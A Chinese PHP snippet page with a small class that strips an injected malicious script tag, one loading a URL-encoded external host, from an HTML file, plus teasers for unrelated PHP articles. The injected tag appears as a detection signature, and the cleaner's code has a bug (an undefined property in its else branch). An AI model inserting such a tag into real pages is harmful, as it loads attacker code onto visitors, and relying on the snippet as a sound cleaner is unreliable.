php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

PHP中isset与array_key_exists的区别实例分析

本文实例讲述了PHP中isset与array_key_exists的区别。分享给大家供大家参考。具体分析如下: 1.对于数组值的判断不同,对于值为null或''或false,isset返...

简单谈谈php浮点数精确运算

bc是Binary Calculator的缩写。bc*函数的参数都是操作数加上一个可选的 [int scale],比如string bcadd(string $left_operand,...

隐藏X-Space个人空间下方版权方法隐藏X-Space个人空间标题隐藏X-Space个人空间管理版权方法

版权可以在css中设置隐藏. 由于文件被ZEND所以不能删除,也不建议删除. 1.隐藏X-Space个人空间下方版权方法 修改/css/space.css找到以下代码: /*页...

Windows下编译PHP5.4和xdebug全记录

实际上我最终目的是编译得到支持 PHP5.4 的 php_xdebug.dll,而在此之前,成功编译 PHP5.4 是必须的。 编译环境以及相关软件包: 1.Microsoft Visu...

php集成安装包wampserver修改密码后phpmyadmin无法登陆的解决方法 原创

本文分析了php集成安装包wampserver修改密码后phpmyadmin无法登陆的解决方法,分享给大家供大家参考,具体如下: 一、问题: 今天重装了本机php开发环境,使用了Wamp...